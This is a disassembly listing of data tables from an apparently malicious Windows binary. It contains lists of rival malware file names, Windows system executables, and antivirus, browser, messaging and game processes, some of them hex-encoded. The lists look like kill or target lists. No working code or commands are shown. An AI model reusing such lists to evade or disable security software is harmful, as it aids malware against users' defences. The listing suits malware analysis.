dd offset aXgun_exe ; "XGUN.EXE"
dd offset aRopnc_exe ; "ROPNC.EXE"
dd offset aV1rg1n_exe ; "V1RG1N.EXE"
dd offset aIrb_exe ; "IRB.EXE"
dd offset aRspool_exe ; "RSPOOL.EXE"
dd offset aDmi_exe ; "DMI.EXE"
dd offset aWqrtuhx_exe ; "WQRTUHX.EXE"
dd offset aWinpga_exe ; "WINPGA.EXE"
dd offset aHz_exe ; "HZ.EXE"
dd offset aWolff_exe ; "WOLFF.EXE"
dd offset aA_exe ; "A.EXE"
dd offset aGg_exe ; "GG.EXE"
dd offset aWebxgrab_exe ; "WEBXGRAB.EXE"
dd offset aLogdec_exe ; "LOGDEC.EXE"
dd offset aLogoner_exe ; "LOGONER.EXE"
dd offset aRun_bot_bat_ex ; "RUN_BOT.BAT.EXE"
dd offset aRootkit2_exe ; "ROOTKIT2.EXE"
dd offset aMsnet_bat ; "MSNET.BAT"
dd offset aWsg32_exe ; "WSG32.EXE"
dd offset aDog_bat ; "DOG.BAT"
dd offset aInssvc_exe ; "INSSVC.EXE"
dd offset aConvertxdccfil ; "CONVERTXDCCFILE.EXE"
dd offset aNsecurity_exe ; "NSECURITY.EXE"
dd offset aDup_exe ; "DUP.EXE"
dd offset aHxdofena_exe ; "HXDOFENA.EXE"
dd offset aWindows12_exe ; "WINDOWS12.EXE"
dd offset aMssmpp_exe ; "MSSMPP.EXE"
dd offset aSvc_exe ; "SVC.EXE"
dd offset aSvchostc_exe ; "SVCHOSTC.EXE"
dd offset aSvchosts_exe ; "SVCHOSTS.EXE"
dd offset aSvshost_exe ; "SVSHOST.EXE"
dd offset aSystem_exe ; "SYSTEM.EXE"
dd offset aSystem32_exe ; "SYSTEM32.EXE"
dd offset aSysupd_exe ; "SYSUPD.EXE"
align 8
off_4488F8 dd offset dword_443990 ; DATA XREF: sub_41F02F+142r
dd offset aAsr__exe ; "asr_*.exe"
dd offset aWmsoft_exe ; "wmsoft*.exe"
dd offset aNview_exe ; "nview.exe"
dd offset aSview_exe ; "sview.exe"
dd offset aNvuninst_exe ; "NVUNINST.EXE"
dd offset aNvsvc32_exe ; "nvsvc32.exe"
dd offset aNvudisp_exe ; "nvudisp.exe"
dd offset aNvappbar_exe ; "nvappbar.exe"
dd offset aNvcolor_exe ; "nvcolor.exe"
dd offset aNvdspsch_exe ; "nvdspsch.exe"
dd offset aNvcplui_exe ; "nvcplui.exe"
dd offset aNwiz_exe ; "nwiz.exe"
dd offset aKeystone_exe ; "keystone.exe"
dd offset aHdashcut_exe ; "HDAShCut.exe"
dd offset aAccwiz_exe ; "accwiz.exe"
dd offset aActmovie_exe ; "actmovie.exe"
dd offset aAhui_exe ; "ahui.exe"
dd offset aAlg_exe ; "alg.exe"
dd offset aAppend_exe ; "append.exe"
dd offset aArp_exe ; "arp.exe"
dd offset aAsr_fmt_exe ; "asr_fmt.exe"
dd offset aAsr_ldm_exe ; "asr_ldm.exe"
dd offset aAsr_pfu_exe ; "asr_pfu.exe"
dd offset aAt_exe ; "at.exe"
dd offset aAti2evxx_exe ; "ati2evxx.exe"
dd offset aAti2mdxx_exe ; "Ati2mdxx.exe"
dd offset aAtmadm_exe ; "atmadm.exe"
dd offset aAttrib_exe ; "attrib.exe"
dd offset aAuditusr_exe ; "auditusr.exe"
dd offset aAutochk_exe ; "autochk.exe"
dd offset aAutoconv_exe ; "autoconv.exe"
dd offset aAutofmt_exe ; "autofmt.exe"
dd offset aAutolfn_exe ; "autolfn.exe"
dd offset aBlastcln_exe ; "blastcln.exe"
dd offset aBootcfg_exe ; "bootcfg.exe"
dd offset aBootok_exe ; "bootok.exe"
dd offset aBootvrfy_exe ; "bootvrfy.exe"
dd offset aCacls_exe ; "cacls.exe"
dd offset aCalc_exe ; "calc.exe"
dd offset aCharmap_exe ; "charmap.exe"
dd offset aChcfg_exe ; "ChCfg.exe"
dd offset aChkdsk_exe ; "chkdsk.exe"
dd offset aChkntfs_exe ; "chkntfs.exe"
dd offset aCidaemon_exe ; "cidaemon.exe"
dd offset aCipher_exe ; "cipher.exe"
dd offset aCisvc_exe ; "cisvc.exe"
dd offset aCkcnv_exe ; "ckcnv.exe"
dd offset aCleanmgr_exe ; "cleanmgr.exe"
dd offset aCliconfg_exe ; "cliconfg.exe"
dd offset aClipbrd_exe ; "clipbrd.exe"
dd offset aClipsrv_exe ; "clipsrv.exe"
dd offset aClspack_exe ; "clspack.exe"
dd offset aCmd_exe ; "cmd.exe"
dd offset aCmdl32_exe ; "cmdl32.exe"
dd offset aCmmon32_exe ; "cmmon32.exe"
dd offset aCmstp_exe ; "cmstp.exe"
dd offset aComp_exe ; "comp.exe"
dd offset aCompact_exe ; "compact.exe"
dd offset aConime_exe ; "conime.exe"
dd offset aControl_exe ; "control.exe"
dd offset aConvert_exe ; "convert.exe"
dd offset aCscript_exe ; "cscript.exe"
dd offset aCsrss_exe ; "csrss.exe"
dd offset aCtfmon_exe ; "ctfmon.exe"
dd offset aDcomcnfg_exe ; "dcomcnfg.exe"
dd offset aDdeshare_exe ; "ddeshare.exe"
dd offset aDebug_exe ; "debug.exe"
dd offset aDefrag_exe ; "defrag.exe"
dd offset aDfrgfat_exe ; "dfrgfat.exe"
dd offset aDfrgntfs_exe ; "dfrgntfs.exe"
dd offset aDiantz_exe ; "diantz.exe"
dd offset aDiskpart_exe ; "diskpart.exe"
dd offset aDiskperf_exe ; "diskperf.exe"
dd offset aDllhost_exe ; "dllhost.exe"
dd offset aDllhst3g_exe ; "dllhst3g.exe"
dd offset aDmadmin_exe ; "dmadmin.exe"
dd offset aDmremote_exe ; "dmremote.exe"
dd offset aDoskey_exe ; "doskey.exe"
dd offset aDosx_exe ; "dosx.exe"
dd offset aDplaysvr_exe ; "dplaysvr.exe"
dd offset aDpnsvr_exe ; "dpnsvr.exe"
dd offset aDpvsetup_exe ; "dpvsetup.exe"
dd offset aDriverquery_ex ; "driverquery.exe"
dd offset aDrwatson_exe ; "drwatson.exe"
dd offset aDrwtsn32_exe ; "drwtsn32.exe"
dd offset aDumprep_exe ; "dumprep.exe"
dd offset aDvdplay_exe ; "dvdplay.exe"
dd offset aDvdupgrd_exe ; "dvdupgrd.exe"
dd offset aDwwin_exe ; "dwwin.exe"
dd offset aDxdiag_exe ; "dxdiag.exe"
dd offset aEdlin_exe ; "edlin.exe"
dd offset aEsentutl_exe ; "esentutl.exe"
dd offset aEudcedit_exe ; "eudcedit.exe"
dd offset aEventcreate_ex ; "eventcreate.exe"
dd offset aEventtriggers_ ; "eventtriggers.exe"
dd offset aEventvwr_exe ; "eventvwr.exe"
dd offset aExe2bin_exe ; "exe2bin.exe"
dd offset aExpand_exe ; "expand.exe"
dd offset aExtrac32_exe ; "extrac32.exe"
dd offset aFastopen_exe ; "fastopen.exe"
dd offset aFc_exe ; "fc.exe"
dd offset aFind_exe ; "find.exe"
dd offset aFindstr_exe ; "findstr.exe"
dd offset aFinger_exe ; "finger.exe"
dd offset aFixmapi_exe ; "fixmapi.exe"
dd offset aFltmc_exe ; "fltMc.exe"
dd offset aFontview_exe ; "fontview.exe"
dd offset aForcedos_exe ; "forcedos.exe"
dd offset aFreecell_exe ; "freecell.exe"
dd offset aFsquirt_exe ; "fsquirt.exe"
dd offset aFsutil_exe ; "fsutil.exe"
dd offset aFtp_exe ; "ftp.exe"
dd offset aGb2312_uce ; "gb2312.uce"
dd offset aGdi_exe ; "gdi.exe"
dd offset aGetmac_exe ; "getmac.exe"
dd offset aGpresult_exe ; "gpresult.exe"
dd offset aGpupdate_exe ; "gpupdate.exe"
dd offset aGrpconv_exe ; "grpconv.exe"
dd offset aHelp_exe ; "help.exe"
dd offset aHostname_exe ; "hostname.exe"
dd offset aIe4uinit_exe ; "ie4uinit.exe"
dd offset aIexpress_exe ; "iexpress.exe"
dd offset aImapi_exe ; "imapi.exe"
dd offset aIpconfig_exe ; "ipconfig.exe"
dd offset aIpsec6_exe ; "ipsec6.exe"
dd offset aIpv6_exe ; "ipv6.exe"
dd offset aIpxroute_exe ; "ipxroute.exe"
dd offset aJava_exe ; "java.exe"
dd offset aJavaw_exe ; "javaw.exe"
dd offset aJavaws_exe ; "javaws.exe"
dd offset aJdbgmgr_exe ; "jdbgmgr.exe"
dd offset aJview_exe ; "jview.exe"
dd offset aKrnl386_exe ; "krnl386.exe"
dd offset aLabel_exe ; "label.exe"
dd offset aLights_exe ; "lights.exe"
dd offset aLnkstub_exe ; "lnkstub.exe"
dd offset aLocator_exe ; "locator.exe"
dd offset aLodctr_exe ; "lodctr.exe"
dd offset aLogagent_exe ; "logagent.exe"
dd offset aLogman_exe ; "logman.exe"
dd offset aLogoff_exe ; "logoff.exe"
dd offset aLogonui_exe ; "logonui.exe"
dd offset aLpq_exe ; "lpq.exe"
dd offset aLpr_exe ; "lpr.exe"
dd offset aLsass_exe ; "lsass.exe"
dd offset aMagnify_exe ; "magnify.exe"
dd offset aMakecab_exe ; "makecab.exe"
dd offset aMem_exe ; "mem.exe"
dd offset aMigpwd_exe ; "migpwd.exe"
dd offset aMmc_exe ; "mmc.exe"
dd offset aMnmsrvc_exe ; "mnmsrvc.exe"
dd offset aMobsync_exe ; "mobsync.exe"
dd offset aMountvol_exe ; "mountvol.exe"
dd offset aMplay32_exe ; "mplay32.exe"
dd offset aMpnotify_exe ; "mpnotify.exe"
dd offset aMqbkup_exe ; "mqbkup.exe"
dd offset aMqsvc_exe ; "mqsvc.exe"
dd offset aMqtgsvc_exe ; "mqtgsvc.exe"
dd offset aMrinfo_exe ; "mrinfo.exe"
dd offset aMrt_exe ; "MRT.exe"
dd offset aMscdexnt_exe ; "mscdexnt.exe"
dd offset aMsdtc_exe ; "msdtc.exe"
dd offset aMsg_exe ; "msg.exe"
dd offset aMshearts_exe ; "mshearts.exe"
dd offset aMshta_exe ; "mshta.exe"
dd offset aMsiexec_exe ; "msiexec.exe"
dd offset aMspaint_exe ; "mspaint.exe"
dd offset aMsswchx_exe ; "msswchx.exe"
dd offset aMstinit_exe ; "mstinit.exe"
dd offset aMstsc_exe ; "mstsc.exe"
dd offset aNarrator_exe ; "narrator.exe"
dd offset aNbtstat_exe ; "nbtstat.exe"
dd offset aNddeapir_exe ; "nddeapir.exe"
dd offset aNerocheck_exe ; "NeroCheck.exe"
dd offset aNet_exe ; "net.exe"
dd offset aNet1_exe ; "net1.exe"
dd offset aNetdde_exe ; "netdde.exe"
dd offset aNetsetup_exe ; "netsetup.exe"
dd offset aNetsh_exe ; "netsh.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aNlsfunc_exe ; "nlsfunc.exe"
dd offset aNotepad_exe_0 ; "notepad.exe"
dd offset aNslookup_exe ; "nslookup.exe"
dd offset aNtbackup_exe ; "ntbackup.exe"
dd offset aNtkrnlpa_exe ; "ntkrnlpa.exe"
dd offset aNtoskrnl_exe ; "ntoskrnl.exe"
dd offset aNtsd_exe ; "ntsd.exe"
dd offset aNtvdm_exe ; "ntvdm.exe"
dd offset aNw16_exe ; "nw16.exe"
dd offset aNwscript_exe ; "nwscript.exe"
dd offset aOdbcad32_exe ; "odbcad32.exe"
dd offset aOdbcconf_exe ; "odbcconf.exe"
dd offset aOpenfiles_exe ; "openfiles.exe"
dd offset aOsk_exe ; "osk.exe"
dd offset aOsuninst_exe ; "osuninst.exe"
dd offset aPackager_exe ; "packager.exe"
dd offset aPathping_exe ; "pathping.exe"
dd offset aPentnt_exe ; "pentnt.exe"
dd offset aPerfmon_exe ; "perfmon.exe"
dd offset aPing_exe ; "ping.exe"
dd offset aPing6_exe ; "ping6.exe"
dd offset aPowercfg_exe ; "powercfg.exe"
dd offset aPrint_exe ; "print.exe"
dd offset aProgman_exe ; "progman.exe"
dd offset aProquota_exe ; "proquota.exe"
dd offset aProxycfg_exe ; "proxycfg.exe"
dd offset aQappsrv_exe ; "qappsrv.exe"
dd offset aQprocess_exe ; "qprocess.exe"
dd offset aQwinsta_exe ; "qwinsta.exe"
dd offset aRasautou_exe ; "rasautou.exe"
dd offset aRasdial_exe ; "rasdial.exe"
dd offset aRasphone_exe ; "rasphone.exe"
dd offset aRcimlby_exe ; "rcimlby.exe"
dd offset aRcp_exe ; "rcp.exe"
dd offset aRdpclip_exe ; "rdpclip.exe"
dd offset aRdsaddin_exe ; "rdsaddin.exe"
dd offset aRdshost_exe ; "rdshost.exe"
dd offset aRecover_exe ; "recover.exe"
dd offset aRedir_exe ; "redir.exe"
dd offset aReg_exe ; "reg.exe"
dd offset aRegcladm_exe ; "REGCLADM.EXE"
dd offset aRegedt32_exe ; "regedt32.exe"
dd offset aRegini_exe ; "regini.exe"
dd offset aRegsvr32_exe ; "regsvr32.exe"
dd offset aRegwiz_exe ; "regwiz.exe"
dd offset aRelog_exe ; "relog.exe"
dd offset aReplace_exe ; "replace.exe"
dd offset aReset_exe ; "reset.exe"
dd offset aRexec_exe ; "rexec.exe"
dd offset aRoute_exe ; "route.exe"
dd offset aRoutemon_exe ; "routemon.exe"
dd offset aRsh_exe ; "rsh.exe"
dd offset aRsm_exe ; "rsm.exe"
dd offset aRsmsink_exe ; "rsmsink.exe"
dd offset aRsmui_exe ; "rsmui.exe"
dd offset aRsnotify_exe ; "rsnotify.exe"
dd offset aRsopprov_exe ; "rsopprov.exe"
dd offset aRsvp_exe ; "rsvp.exe"
dd offset aRtcshare_exe ; "rtcshare.exe"
dd offset aRtlcpl_exe ; "RTLCPL.EXE"
dd offset aRunas_exe ; "runas.exe"
dd offset aRundll32_exe ; "rundll32.exe"
dd offset aRunonce_exe ; "runonce.exe"
dd offset aRwinsta_exe ; "rwinsta.exe"
dd offset aSavedump_exe ; "savedump.exe"
dd offset aSc_exe ; "sc.exe"
dd offset aScardsvr_exe ; "scardsvr.exe"
dd offset aSchtasks_exe ; "schtasks.exe"
dd offset aSdbinst_exe ; "sdbinst.exe"
dd offset aSecedit_exe ; "secedit.exe"
dd offset aServices_exe ; "services.exe"
dd offset aSessmgr_exe ; "sessmgr.exe"
dd offset aSethc_exe ; "sethc.exe"
dd offset aSetup_exe ; "setup.exe"
dd offset aSetver_exe ; "setver.exe"
dd offset aSfc_exe ; "sfc.exe"
dd offset aShadow_exe ; "shadow.exe"
dd offset aShare_exe ; "share.exe"
dd offset aShmgrate_exe ; "shmgrate.exe"
dd offset aShrpubw_exe ; "shrpubw.exe"
dd offset aShutdown_exe ; "shutdown.exe"
dd offset aSigverif_exe ; "sigverif.exe"
dd offset aSkeys_exe ; "skeys.exe"
dd offset aSmbinst_exe ; "smbinst.exe"
dd offset aSmlogsvc_exe ; "smlogsvc.exe"
dd offset aSmss_exe ; "smss.exe"
dd offset aSndrec32_exe ; "sndrec32.exe"
dd offset aSndvol32_exe ; "sndvol32.exe"
dd offset aSol_exe ; "sol.exe"
dd offset aSort_exe ; "sort.exe"
dd offset aSpider_exe ; "spider.exe"
dd offset aSpiisupd_exe ; "spiisupd.exe"
dd offset aSpnpinst_exe ; "spnpinst.exe"
dd offset aSpoolsv_exe ; "spoolsv.exe"
dd offset aSprestrt_exe ; "sprestrt.exe"
dd offset aSpupdsvc_exe ; "spupdsvc.exe"
dd offset aStimon_exe ; "stimon.exe"
dd offset aSubrange_uce ; "subrange.uce"
dd offset aSubst_exe ; "subst.exe"
dd offset aSvchost_exe ; "svchost.exe"
dd offset aSyncapp_exe ; "syncapp.exe"
dd offset aSysedit_exe ; "sysedit.exe"
dd offset aSyskey_exe ; "syskey.exe"
dd offset aSysocmgr_exe ; "sysocmgr.exe"
dd offset aSysteminfo_exe ; "systeminfo.exe"
dd offset aSystray_exe ; "systray.exe"
dd offset aTaskkill_exe ; "taskkill.exe"
dd offset aTasklist_exe ; "tasklist.exe"
dd offset aTaskman_exe_0 ; "taskman.exe"
dd offset aTaskmgr_exe ; "taskmgr.exe"
dd offset aTcmsetup_exe ; "tcmsetup.exe"
dd offset aTcpsvcs_exe ; "tcpsvcs.exe"
dd offset aTelnet_exe ; "telnet.exe"
dd offset aTftp_exe ; "tftp.exe"
dd offset aTlntadmn_exe ; "tlntadmn.exe"
dd offset aTlntsess_exe ; "tlntsess.exe"
dd offset aTlntsvr_exe ; "tlntsvr.exe"
dd offset aTourstart_exe ; "tourstart.exe"
dd offset aTracerpt_exe ; "tracerpt.exe"
dd offset aTracert_exe ; "tracert.exe"
dd offset aTracert6_exe ; "tracert6.exe"
dd offset aTscon_exe ; "tscon.exe"
dd offset aTscupgrd_exe ; "tscupgrd.exe"
dd offset aTsdiscon_exe ; "tsdiscon.exe"
dd offset aTskill_exe ; "tskill.exe"
dd offset aTsshutdn_exe ; "tsshutdn.exe"
dd offset aTwunk_16_exe ; "twunk_16.exe"
dd offset aTwunk_32_exe ; "twunk_32.exe"
dd offset aTypeperf_exe ; "typeperf.exe"
dd offset aUnlodctr_exe ; "unlodctr.exe"
dd offset aUpnpcont_exe ; "upnpcont.exe"
dd offset aUps_exe ; "ups.exe"
dd offset aUser_exe ; "user.exe"
dd offset aUserinit_exe ; "userinit.exe"
dd offset aUsrmlnka_exe ; "usrmlnka.exe"
dd offset aUsrprbda_exe ; "usrprbda.exe"
dd offset aUsrshuta_exe ; "usrshuta.exe"
dd offset aUtilman_exe ; "utilman.exe"
dd offset aVerclsid_exe ; "verclsid.exe"
dd offset aVerifier_exe ; "verifier.exe"
dd offset aViral_exe ; "viral.exe"
dd offset aVssadmin_exe ; "vssadmin.exe"
dd offset aVssvc_exe ; "vssvc.exe"
dd offset aVwipxspx_exe ; "vwipxspx.exe"
dd offset aW32tm_exe ; "w32tm.exe"
dd offset aWextract_exe ; "wextract.exe"
dd offset aWiaacmgr_exe ; "wiaacmgr.exe"
dd offset aWinchat_exe ; "winchat.exe"
dd offset aWindbver_exe ; "WINDBVER.EXE"
dd offset aWinhlp32_exe ; "winhlp32.exe"
dd offset aWinmine_exe ; "winmine.exe"
dd offset aWinmsd_exe ; "winmsd.exe"
dd offset aWinspool_exe ; "winspool.exe"
dd offset aWinver_exe ; "winver.exe"
dd offset aWjview_exe ; "wjview.exe"
dd offset aWowdeb_exe ; "wowdeb.exe"
dd offset aWowexec_exe ; "wowexec.exe"
dd offset aWpabaln_exe ; "wpabaln.exe"
dd offset aWpnpinst_exe ; "wpnpinst.exe"
dd offset aWrite_exe ; "write.exe"
dd offset aWscntfy_exe ; "wscntfy.exe"
dd offset aWscript_exe ; "wscript.exe"
dd offset aWuauclt_exe ; "wuauclt.exe"
dd offset aWuauclt1_exe ; "wuauclt1.exe"
dd offset aWupdmgr_exe ; "wupdmgr.exe"
dd offset aXcopy_exe ; "xcopy.exe"
dd offset aAcdsee_scr ; "ACDSee.scr"
dd offset aLogon_scr ; "logon.scr"
dd offset aScrnsave_scr ; "scrnsave.scr"
dd offset aSeismosaver_sc ; "SeismoSaver.scr"
dd offset aSs3dfo_scr ; "ss3dfo.scr"
dd offset aSsbezier_scr ; "ssbezier.scr"
dd offset aSsflwbox_scr ; "ssflwbox.scr"
dd offset aSsmarque_scr ; "ssmarque.scr"
dd offset aSsmypics_scr ; "ssmypics.scr"
dd offset aSsmyst_scr ; "ssmyst.scr"
dd offset aSspipes_scr ; "sspipes.scr"
dd offset aSsstars_scr ; "ssstars.scr"
dd offset aSstext3d_scr ; "sstext3d.scr"
dd offset aSystem_1 ; "System"
dd offset aDevldr32_exe ; "devldr32.exe"
dd offset aInternat_exe ; "internat.exe"
dd offset aAti2evxx_exe ; "ati2evxx.exe"
dd offset aWudfhost_exe ; "WUDFHost.exe"
dd offset aPenservice_exe ; "penservice.exe"
dd offset aWmiexe_exe ; "wmiexe.exe"
dd offset aWinmgmt_exe ; "winmgmt.exe"
dd offset aWercon_exe ; "wercon.exe"
dd offset aTaskeng_exe ; "taskeng.exe"
dd offset aHkcmd_exe ; "hkcmd.exe"
dd offset aHotkey_exe ; "hotkey.exe"
dd offset aJusched_exe ; "jusched.exe"
dd offset aPoint32_exe ; "point32.exe"
dd offset aQttask_exe ; "qttask.exe"
dd offset aWisptis_exe ; "wisptis.exe"
dd offset aCrypserv_exe ; "crypserv.exe"
dd offset aInetinfo_exe ; "inetinfo.exe"
dd offset aIgfxpers_exe ; "igfxpers.exe"
dd offset aIgfxtray_exe ; "igfxtray.exe"
dd offset aPctspk_exe ; "pctspk.exe"
dd offset aMstask_exe ; "mstask.exe"
dd offset aSmagent_exe ; "smagent.exe"
dd offset aNmssvc_exe ; "nmssvc.exe"
dd offset aHpsysdrv_exe ; "hpsysdrv.exe"
dd offset aHpcmpmgr_exe ; "hpcmpmgr.exe"
dd offset aNhksrv_exe ; "nhksrv.exe"
dd offset aHpzipm12_exe ; "HPZipm12.exe"
dd offset aCli_exe ; "cli.exe"
dd offset aTphkmgr_exe ; "TPHKMGR.exe"
dd offset aSmax4pnp_exe ; "smax4pnp.exe"
dd offset aLoadqm_exe ; "loadqm.exe"
dd offset aLexbces_exe ; "lexbces.exe"
dd offset aDwm_exe ; "dwm.exe"
dd offset aLsm_exe ; "lsm.exe"
dd offset aMdm_exe ; "mdm.exe"
dd offset aMssearch_exe ; "mssearch.exe"
dd offset aRegsvc_exe ; "regsvc.exe"
dd offset aSdclt_exe ; "sdclt.exe"
dd offset aSlsvc_exe ; "slsvc.exe"
dd offset aHidserv_exe ; "hidserv.exe"
dd offset aUninstall__exe ; "uninstall_.exe"
dd offset aTrkwkss_exe ; "trkwkss.exe"
dd offset aWuaucpl_exe ; "wuaucpl.exe"
dd offset aTrkwksvc_exe ; "trkwksvc.exe"
dd offset aWmssvc_exe ; "wmssvc.exe"
dd offset aWmsncs_exe ; "wmsncs.exe"
dd offset aWiadss_exe ; "wiadss.exe"
dd offset aWmsnchrs_exe ; "wmsnchrs.exe"
dd offset aWrvmchars_exe ; "wrvmchars.exe"
off_448F60 dd offset dword_443990 ; DATA XREF: sub_41F02F:loc_41F1AEr
dd offset aAsr__exe ; "asr_*.exe"
dd offset aWmsoft_exe ; "wmsoft*.exe"
dd offset aAlcmtr_exe ; "ALCMTR.EXE"
dd offset aAlcwzrd_exe ; "ALCWZRD.EXE"
dd offset aHdashcut_exe ; "HDAShCut.exe"
dd offset aRthdcpl_exe ; "RTHDCPL.EXE"
dd offset aRtlcpl_exe ; "RTLCPL.EXE"
dd offset aMiccal_exe ; "MicCal.exe"
dd offset aRtlupd_exe ; "RtlUpd.exe"
dd offset aAlcrmv_exe ; "alcrmv.exe"
dd offset aAlcupd_exe ; "alcupd.exe"
dd offset aExplorer_exe_0 ; "explorer.exe"
dd offset aHh_exe ; "hh.exe"
dd offset aIsuninst_exe ; "IsUninst.exe"
dd offset aIun6002_exe ; "iun6002.exe"
dd offset aNotepad_exe ; "NOTEPAD.EXE"
dd offset aRegedit_exe ; "regedit.exe"
dd offset aRegtlib_exe ; "REGTLIB.EXE"
dd offset aSetdebug_exe ; "setdebug.exe"
dd offset aSetup1_exe ; "Setup1.exe"
dd offset aSoundman_exe ; "SOUNDMAN.EXE"
dd offset aSt6unst_exe ; "ST6UNST.EXE"
dd offset aTaskman_exe ; "TASKMAN.EXE"
dd offset aTwunk_16_exe ; "twunk_16.exe"
dd offset aTwunk_32_exe ; "twunk_32.exe"
dd offset aWinhelp_exe ; "winhelp.exe"
dd offset aWinhlp32_exe ; "winhlp32.exe"
dd offset aSystem_1 ; "System"
dd offset aHtpatch_exe ; "htpatch.exe"
dd offset aPoint32_exe ; "point32.exe"
dd offset aSmagent_exe ; "smagent.exe"
dd offset aSmax4pnp_exe ; "smax4pnp.exe"
dd offset aSound_exe ; "*sound*.exe"
off_448FE8 dd offset dword_443990 ; DATA XREF: sub_41F02F:loc_41F1EBr
dd offset aAsr__exe ; "asr_*.exe"
dd offset aWmsoft_exe ; "wmsoft*.exe"
dd offset aWmpcodecs_exe ; "wmpcodecs.exe"
dd offset aMsxml32_exe ; "msxml32.exe"
dd offset aMswupd_exe ; "mswupd.exe"
dd offset aMsnmsgr_exe ; "msnmsgr.exe"
dd offset aWmiprvse_exe ; "wmiprvse.exe"
dd offset aMsmsgs_exe ; "msmsgs.exe"
dd offset aMirc_exe ; "mirc.exe"
dd offset aXchat_exe ; "xchat.exe"
dd offset aFirefox_exe ; "firefox.exe"
dd offset aThunderbird_ex ; "thunderbird.exe"
dd offset aIexplore_exe ; "iexplore.exe"
dd offset aMsimn_exe ; "msimn.exe"
dd offset aMsoe_exe ; "msoe.exe"
dd offset aDefwatch_exe ; "defwatch.exe"
dd offset aRtvscan_exe ; "rtvscan.exe"
dd offset aCcapp_exe ; "ccapp.exe"
dd offset aAim_exe ; "aim.exe"
dd offset aCcevtmgr_exe ; "ccevtmgr.exe"
dd offset aCcsetmgr_exe ; "ccsetmgr.exe"
dd offset aIexplore_exe ; "iexplore.exe"
dd offset aWordpad_exe ; "wordpad.exe"
dd offset aSteam_exe ; "steam.exe"
dd offset aAutoexec_bat ; "AUTOEXEC.BAT"
dd offset aWmpnscfg_exe ; "wmpnscfg.exe"
dd offset aNotepad_exe_0 ; "notepad.exe"
dd offset aWvsscheduler_e ; "WVSScheduler.exe"
dd offset dword_449170
dd offset dword_449160
dd offset dword_449150
dd offset dword_449144
dd offset dword_449138
dd offset dword_449130
dd offset dword_449124
dd offset dword_449118
dd offset dword_44910C
dd offset dword_4490FC
dd offset dword_4490F0
dd offset dword_4490E0
dd offset dword_4490D4
dd offset dword_4490C8
dd offset dword_4490B8
dd offset aUninstall__exe ; "uninstall_.exe"
dd offset aTrkwkss_exe ; "trkwkss.exe"
dd offset aWuaucpl_exe ; "wuaucpl.exe"
dd offset aTrkwksvc_exe ; "trkwksvc.exe"
dd offset aWmssvc_exe ; "wmssvc.exe"
dd offset aWmsncs_exe ; "wmsncs.exe"
dd offset aWiadss_exe ; "wiadss.exe"
dd offset aWmsnchrs_exe ; "wmsnchrs.exe"
dword_4490B8 dd 6C706D77h, 72657961h, 6578652Eh, 0dword_4490C8 dd 726E6977h, 652E7261h, 6578hdword_4490D4 dd 69766F6Dh, 2E6B6D65h, 657865hdword_4490E0 dd 61677661h, 7276736Dh, 6578652Eh, 0dword_4490F0 dd 63677661h, 78652E63h, 65hdword_4490FC dd 75677661h, 63767370h, 6578652Eh, 0dword_44910C dd 63617061h, 652E6568h, 6578hdword_449118 dd 70616D6Eh, 6578652Eh, 0dword_449124 dd 74747570h, 78652E79h, 65hdword_449130 dd 63732E2Ah, 72hdword_449138 dd 7A6E6977h, 652E7069h, 6578hdword_449144 dd 65747563h, 2E707466h, 657865hdword_449150 dd 73616C66h, 70786668h, 6578652Eh, 0dword_449160 dd 54616554h, 72656D69h, 6578652Eh, 0dword_449170 dd 7253534Ch, 652E6376h, 6578haWvsscheduler_e db 'WVSScheduler.exe',0 ; DATA XREF: ?9:00449058o
align 10h
aWmpnscfg_exe db 'wmpnscfg.exe',0 ; DATA XREF: ?9:00449050o
align 10h
aAutoexec_bat db 'AUTOEXEC.BAT',0 ; DATA XREF: ?9:0044904Co
align 10h
aSteam_exe db 'steam.exe',0 ; DATA XREF: ?9:00449048o
align 4
aWordpad_exe db 'wordpad.exe',0 ; DATA XREF: ?9:00449044o
aCcsetmgr_exe db 'ccsetmgr.exe',0 ; DATA XREF: ?9:0044903Co
align 4
aCcevtmgr_exe db 'ccevtmgr.exe',0 ; DATA XREF: ?9:00449038o
align 4
aAim_exe db 'aim.exe',0 ; DATA XREF: ?9:00449034o
aCcapp_exe db 'ccapp.exe',0 ; DATA XREF: ?9:00449030o
align 4
aRtvscan_exe db 'rtvscan.exe',0 ; DATA XREF: ?9:0044902Co
aDefwatch_exe db 'defwatch.exe',0 ; DATA XREF: ?9:00449028o
align 4
aMsoe_exe db 'msoe.exe',0 ; DATA XREF: ?9:00449024o
align 4
aMsimn_exe db 'msimn.exe',0 ; DATA XREF: ?9:00449020o
align 10h
aThunderbird_ex db 'thunderbird.exe',0 ; DATA XREF: ?9:00449018o
aFirefox_exe db 'firefox.exe',0 ; DATA XREF: ?9:00449014o
aXchat_exe db 'xchat.exe',0 ; DATA XREF: ?9:00449010o
align 4
aMirc_exe db 'mirc.exe',0 ; DATA XREF: ?9:0044900Co
align 4
aMsmsgs_exe db 'msmsgs.exe',0 ; DATA XREF: ?9:00449008o
align 10h
aWmiprvse_exe db 'wmiprvse.exe',0 ; DATA XREF: ?9:00449004o
align 10h
aMsnmsgr_exe db 'msnmsgr.exe',0 ; DATA XREF: ?9:00449000o
aMswupd_exe db 'mswupd.exe',0 ; DATA XREF: ?9:00448FFCo
align 4
aMsxml32_exe db 'msxml32.exe',0 ; DATA XREF: ?9:00448FF8o
aWmpcodecs_exe db 'wmpcodecs.exe',0 ; DATA XREF: ?9:00448FF4o
align 4
aSound_exe db '*sound*.exe',0 ; DATA XREF: ?9:00448FE4o
aHtpatch_exe db 'htpatch.exe',0 ; DATA XREF: ?9:00448FD4o
aWinhelp_exe db 'winhelp.exe',0 ; DATA XREF: ?9:00448FC8o
aTaskman_exe db 'TASKMAN.EXE',0 ; DATA XREF: ?9:00448FBCo
aSt6unst_exe db 'ST6UNST.EXE',0 ; DATA XREF: ?9:00448FB8o
aSoundman_exe db 'SOUNDMAN.EXE',0 ; DATA XREF: ?9:00448FB4o
align 10h
aSetup1_exe db 'Setup1.exe',0 ; DATA XREF: ?9:00448FB0o
align 4
aSetdebug_exe db 'setdebug.exe',0 ; DATA XREF: ?9:00448FACo
align 4
aRegtlib_exe db 'REGTLIB.EXE',0 ; DATA XREF: ?9:00448FA8o
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ?9:00448FA4o
aNotepad_exe db 'NOTEPAD.EXE',0 ; DATA XREF: ?9:00448FA0o
aIun6002_exe db 'iun6002.exe',0 ; DATA XREF: ?9:00448F9Co
aIsuninst_exe db 'IsUninst.exe',0 ; DATA XREF: ?9:00448F98o
align 4
